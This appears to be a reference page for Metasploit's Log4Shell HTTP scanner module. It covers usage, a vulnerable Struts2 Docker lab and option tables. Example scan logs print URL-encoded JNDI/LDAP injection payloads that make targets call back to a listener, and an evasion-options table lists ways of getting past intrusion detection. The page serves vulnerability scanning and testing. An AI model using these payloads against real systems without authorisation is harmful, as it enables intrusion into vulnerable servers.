Name:?Log4Shell HTTP Scanner
Module:?auxiliary/scanner/http/log4shell_scanner
Source code:?modules/auxiliary/scanner/http/log4shell_scanner.rb
Disclosure date:?2021-12-09
Last modification time:?2022-04-06 09:04:26 +0000
Supported architecture(s):?-
Supported platform(s):?-
Target service / protocol:?http, https
Target network port(s):?80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs:?CVE-2021-44228,?CVE-2021-45046

This module is also known as Log4Shell or LogJam.

Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. Known impacted software includes Apache Struts 2, VMWare VCenter, Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache OFBiz.

Module Ranking and Traits

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found?here.

Stability:

• crash-safe: Module should not crash the service.

Side Effects:

• ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/log4shell_scanner msf auxiliary(log4shell_scanner) > show options ? ?... show and set options ... msf auxiliary(log4shell_scanner) > set RHOSTS ip-range msf auxiliary(log4shell_scanner) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(log4shell_scanner) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(log4shell_scanner) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(log4shell_scanner) > set RHOSTS file:/tmp/ip_list.txt

Required Options

• RHOSTS:?The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base

Vulnerable Application

This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include HTTP headers and the HTTP request path. URI paths for common, known-vulnerable applications are included in the?data/exploits/CVE-2021-44228/http_uris.txt?data file.

This module has been successfully tested with:

• Apache Solr

• Apache Struts2

• Spring Boot

• VMWare VCenter

Verification Steps

1. Setup a vulnerable Struts2 instance (see the steps below)

2. Start msfconsole

3. Do:?use auxiliary/scanner/http/log4shell_scanner

4. Set the?SRVHOST,?RHOSTS,?RPORT?and?TARGETURI?options

• For Struts2, set?TARGETURI?to?/struts2-showcase/

5. Do:?run

6. The target should be identified as vulnerable

Apache Struts2 Setup

The following docker file can be used to setup a vulnerable Struts2 instance for testing.

# # To build the image: # ? docker build . -t struts2:2.5.28 # To run the container: # ? docker run --name struts2 --rm -p 8080:8080 struts2:2.5.28 # ARG version=2.5.28 FROM bitnami/tomcat:9.0 USER root ENV TOMCAT_PASSWORD password RUN apt-get update && \ ? ?apt-get -y install unzip && \ ? ?apt-get clean && \ ? ?rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* RUN curl https://dlcdn.apache.org/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \ ? ?unzip struts-all.zip && \ ? ?cp /struts-2.5.28/apps/struts2-showcase.war /bitnami/tomcat/webapps/

Options

HTTP_METHOD

The HTTP method to use.

HEADERS_FILE

File containing headers to check, one per line. Lines starting with?#?will be treated as comments.

URIS_FILE

File containing additional URIs to check, one per line. These values will be appended to the?TARGETURI?option. Lines starting with?#?will be treated as comments. Lines may also contain the string?${jndi:uri}?which will be used as the injection point. This enables query parameters to be included in the request which are required for certain applications.

LDAP_TIMEOUT

Time in seconds to wait to receive LDAP connections.

Scenarios

Apache Struts2

msf6 > use auxiliary/scanner/http/log4shell_scanner msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.159.128 SRVHOST => 192.168.159.128 msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080 RPORT => 8080 msf6 auxiliary(scanner/http/log4shell_scanner) > set TARGETURI /struts2-showcase/ TARGETURI => /struts2-showcase/ msf6 auxiliary(scanner/http/log4shell_scanner) > run [*] Started service listener on 192.168.159.128:389 [+] Log4Shell found via /struts2-showcase/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/r7yol50kgg7be/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf6 auxiliary(scanner/http/log4shell_scanner) >

Apache Solr

Apache Solr is trivially exploitable by a remote and unauthenticated attacker when in its default configuration:

msf6 > use auxiliary/scanner/http/log4shell_scanner msf6 auxiliary(scanner/http/log4shell_scanner) > run http://10.10.235.209:8983/ srvhost=10.9.4.245 [*] Started service listener on 10.9.4.245:389 [+] 10.10.235.209:8983 ? ?- Log4Shell found via /solr/admin/cores?action=CREATE&wt=json&name=%24%7bjndi%3aldap%3a/10.9.4.245%3a389/vslscuy7m6q9pgfc18h/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d (java: Oracle Corporation_1.8.0_181) [*] Scanned 1 of 1 hosts (100% complete) [*] Sleeping 30 seconds for any last LDAP connections [*] Auxiliary module execution completed

Go?back to menu.

Msfconsole Usage

Here is how the scanner/http/log4shell_scanner auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/http/log4shell_scannermsf6 auxiliary(scanner/http/log4shell_scanner) > show info ? ? ? Name: Log4Shell HTTP Scanner ? ? Module: auxiliary/scanner/http/log4shell_scanner ? ?License: Metasploit Framework License (BSD) ? ? ? Rank: Normal ?Disclosed: 2021-12-09 Provided by: ?Spencer McIntyre Module side effects: ioc-in-logs Module stability: crash-safe Check supported: ?No Basic options: ?Name ? ? ? ? ?Current Setting ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Required ?Description ?---- ? ? ? ? ?--------------- ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? -------- ?----------- ?HEADERS_FILE ?/opt/metasploit-framework/embedded/framework/data/ ?no ? ? ? ?File containing headers to check ? ? ? ? ? ? ? ?exploits/CVE-2021-44228/http_headers.txt ?HTTP_METHOD ? GET ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The HTTP method to use ?LDAP_TIMEOUT ?30 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?yes ? ? ? Time in seconds to wait to receive LDAP connections ?Proxies ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?A proxy chain of format type:host:port[,type:host:port][...] ?RHOSTS ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?yes ? ? ? The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit ?RPORT ? ? ? ? 80 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?yes ? ? ? The target port (TCP) ?SRVHOST ? ? ? 0.0.0.0 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The local host or network interface to listen on. This must be an address on the local machin ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?e or 0.0.0.0 to listen on all addresses. ?SRVPORT ? ? ? 389 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The local port to listen on. ?SSL ? ? ? ? ? false ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?Negotiate SSL for incoming connections ?SSLCert ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?Path to a custom SSL certificate (default is randomly generated) ?TARGETURI ? ? / ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The URI to scan ?THREADS ? ? ? 1 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The number of concurrent threads (max one per host) ?URIS_FILE ? ? /opt/metasploit-framework/embedded/framework/data/ ?no ? ? ? ?File containing additional URIs to check ? ? ? ? ? ? ? ?exploits/CVE-2021-44228/http_uris.txt ?VHOST ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?HTTP server virtual host Description: ?Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow ?JNDI features used in configuration, log messages, and parameters, ?do not protect against attacker controlled LDAP and other JNDI ?related endpoints. This module will scan an HTTP end point for the ?Log4Shell vulnerability by injecting a format message that will ?trigger an LDAP connection to Metasploit. This module is a generic ?scanner and is only capable of identifying instances that are ?vulnerable via one of the pre-determined HTTP request injection ?points. These points include HTTP headers and the HTTP request path. ?Known impacted software includes Apache Struts 2, VMWare VCenter, ?Apache James, Apache Solr, Apache Druid, Apache JSPWiki, Apache ?OFBiz. References: ?https://nvd.nist.gov/vuln/detail/CVE-2021-44228 ?https://nvd.nist.gov/vuln/detail/CVE-2021-45046 ?https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis ?https://logging.apache.org/log4j/2.x/security.html Also known as: ?Log4Shell ?LogJam

Module Options

This is a complete list of options available in the scanner/http/log4shell_scanner auxiliary module:

msf6 auxiliary(scanner/http/log4shell_scanner) > show optionsModule options (auxiliary/scanner/http/log4shell_scanner): ? Name ? ? ? ? ?Current Setting ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? Required ?Description ? ---- ? ? ? ? ?--------------- ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? -------- ?----------- ? HEADERS_FILE ?/opt/metasploit-framework/embedded/framework/data/ ?no ? ? ? ?File containing headers to check ? ? ? ? ? ? ? ? exploits/CVE-2021-44228/http_headers.txt ? HTTP_METHOD ? GET ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The HTTP method to use ? LDAP_TIMEOUT ?30 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?yes ? ? ? Time in seconds to wait to receive LDAP connections ? Proxies ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?A proxy chain of format type:host:port[,type:host:port][...] ? RHOSTS ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?yes ? ? ? The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit ? RPORT ? ? ? ? 80 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?yes ? ? ? The target port (TCP) ? SRVHOST ? ? ? 0.0.0.0 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The local host or network interface to listen on. This must be an address on the local machi ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ne or 0.0.0.0 to listen on all addresses. ? SRVPORT ? ? ? 389 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The local port to listen on. ? SSL ? ? ? ? ? false ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?Negotiate SSL for incoming connections ? SSLCert ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?Path to a custom SSL certificate (default is randomly generated) ? TARGETURI ? ? / ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The URI to scan ? THREADS ? ? ? 1 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The number of concurrent threads (max one per host) ? URIS_FILE ? ? /opt/metasploit-framework/embedded/framework/data/ ?no ? ? ? ?File containing additional URIs to check ? ? ? ? ? ? ? ? exploits/CVE-2021-44228/http_uris.txt ? VHOST ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the scanner/http/log4shell_scanner auxiliary module:

msf6 auxiliary(scanner/http/log4shell_scanner) > show advancedModule advanced options (auxiliary/scanner/http/log4shell_scanner): ? Name ? ? ? ? ? ? ? ? ?Current Setting ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?Required ?Description ? ---- ? ? ? ? ? ? ? ? ?--------------- ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?-------- ?----------- ? DOMAIN ? ? ? ? ? ? ? ?WORKSTATION ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?yes ? ? ? The domain to use for Windows authentication ? DigestAuthIIS ? ? ? ? true ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?Conform to IIS, should work for most servers. Only set to false for non-IIS servers ? FingerprintCheck ? ? ?true ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?Conduct a pre-exploit fingerprint verification ? HttpClientTimeout ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?HTTP connection and receive timeout ? HttpPassword ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?The HTTP password to specify for authentication ? HttpRawHeaders ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?Path to ERB-templatized raw headers to append to existing headers ? HttpTrace ? ? ? ? ? ? false ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?Show the raw HTTP requests and responses ? HttpTraceColors ? ? ? red/blu ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?HTTP request and response colors for HttpTrace (unset to disable) ? HttpTraceHeadersOnly ?false ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?Show HTTP headers only in HttpTrace ? HttpUsername ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?The HTTP username to specify for authentication ? ListenerComm ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? no ? ? ? ?The specific communication channel to use for this service ? SSLCipher ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH" ? SSLCompression ? ? ? ?false ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?Enable SSL/TLS-level compression ? SSLVersion ? ? ? ? ? ?Auto ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Acc ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?epted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2) ? ShowProgress ? ? ? ? ?true ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? Display progress messages during a scan ? ShowProgressPercent ? 10 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? yes ? ? ? The interval in percent that progress should be shown ? UserAgent ? ? ? ? ? ? Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv ?no ? ? ? ?The User-Agent header to use for all requests ? ? ? ? ? ? ? ? ? ? ? ? :94.0) Gecko/20100101 Firefox/94.0 ? VERBOSE ? ? ? ? ? ? ? false ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?Enable detailed status messages ? WORKSPACE ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?no ? ? ? ?Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/http/log4shell_scanner module can do:

msf6 auxiliary(scanner/http/log4shell_scanner) > show actionsAuxiliary actions: ? Name ?Description ? ---- ?-----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/http/log4shell_scanner auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/http/log4shell_scanner) > show evasionModule evasion options: ? Name ? ? ? ? ? ? ? ? ? ? ? ? ?Current Setting ?Required ?Description ? ---- ? ? ? ? ? ? ? ? ? ? ? ? ?--------------- ?-------- ?----------- ? HTTP::header_folding ? ? ? ? ?false ? ? ? ? ? ?no ? ? ? ?Enable folding of HTTP headers ? HTTP::method_random_case ? ? ?false ? ? ? ? ? ?no ? ? ? ?Use random casing for the HTTP method ? HTTP::method_random_invalid ? false ? ? ? ? ? ?no ? ? ? ?Use a random invalid, HTTP method for request ? HTTP::method_random_valid ? ? false ? ? ? ? ? ?no ? ? ? ?Use a random, but valid, HTTP method for request ? HTTP::pad_fake_headers ? ? ? ?false ? ? ? ? ? ?no ? ? ? ?Insert random, fake headers into the HTTP request ? HTTP::pad_fake_headers_count ?0 ? ? ? ? ? ? ? ?no ? ? ? ?How many fake headers to insert into the HTTP request ? HTTP::pad_get_params ? ? ? ? ?false ? ? ? ? ? ?no ? ? ? ?Insert random, fake query string variables into the request ? HTTP::pad_get_params_count ? ?16 ? ? ? ? ? ? ? no ? ? ? ?How many fake query string variables to insert into the request ? HTTP::pad_method_uri_count ? ?1 ? ? ? ? ? ? ? ?no ? ? ? ?How many whitespace characters to use between the method and uri ? HTTP::pad_method_uri_type ? ? space ? ? ? ? ? ?no ? ? ? ?What type of whitespace to use between the method and uri (Accepted: space, tab, apache) ? HTTP::pad_post_params ? ? ? ? false ? ? ? ? ? ?no ? ? ? ?Insert random, fake post variables into the request ? HTTP::pad_post_params_count ? 16 ? ? ? ? ? ? ? no ? ? ? ?How many fake post variables to insert into the request ? HTTP::pad_uri_version_count ? 1 ? ? ? ? ? ? ? ?no ? ? ? ?How many whitespace characters to use between the uri and version ? HTTP::pad_uri_version_type ? ?space ? ? ? ? ? ?no ? ? ? ?What type of whitespace to use between the uri and version (Accepted: space, tab, apache) ? HTTP::uri_dir_fake_relative ? false ? ? ? ? ? ?no ? ? ? ?Insert fake relative directories into the uri ? HTTP::uri_dir_self_reference ?false ? ? ? ? ? ?no ? ? ? ?Insert self-referential directories into the uri ? HTTP::uri_encode_mode ? ? ? ? hex-normal ? ? ? no ? ? ? ?Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random) ? HTTP::uri_fake_end ? ? ? ? ? ?false ? ? ? ? ? ?no ? ? ? ?Add a fake end of URI (eg: /%20HTTP/1.0/../../) ? HTTP::uri_fake_params_start ? false ? ? ? ? ? ?no ? ? ? ?Add a fake start of params to the URI (eg: /%3fa=b/../) ? HTTP::uri_full_url ? ? ? ? ? ?false ? ? ? ? ? ?no ? ? ? ?Use the full URL for all HTTP requests ? HTTP::uri_use_backslashes ? ? false ? ? ? ? ? ?no ? ? ? ?Use back slashes instead of forward slashes in the uri ? HTTP::version_random_invalid ?false ? ? ? ? ? ?no ? ? ? ?Use a random invalid, HTTP version for request ? HTTP::version_random_valid ? ?false ? ? ? ? ? ?no ? ? ? ?Use a random, but valid, HTTP version for request ? TCP::max_send_size ? ? ? ? ? ?0 ? ? ? ? ? ? ? ?no ? ? ? ?Maximum tcp segment size. ?(0 = disable) ? TCP::send_delay ? ? ? ? ? ? ? 0 ? ? ? ? ? ? ? ?no ? ? ? ?Delays inserted before every send. ?(0 = disable)

https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/scanner/http/log4shell_scanner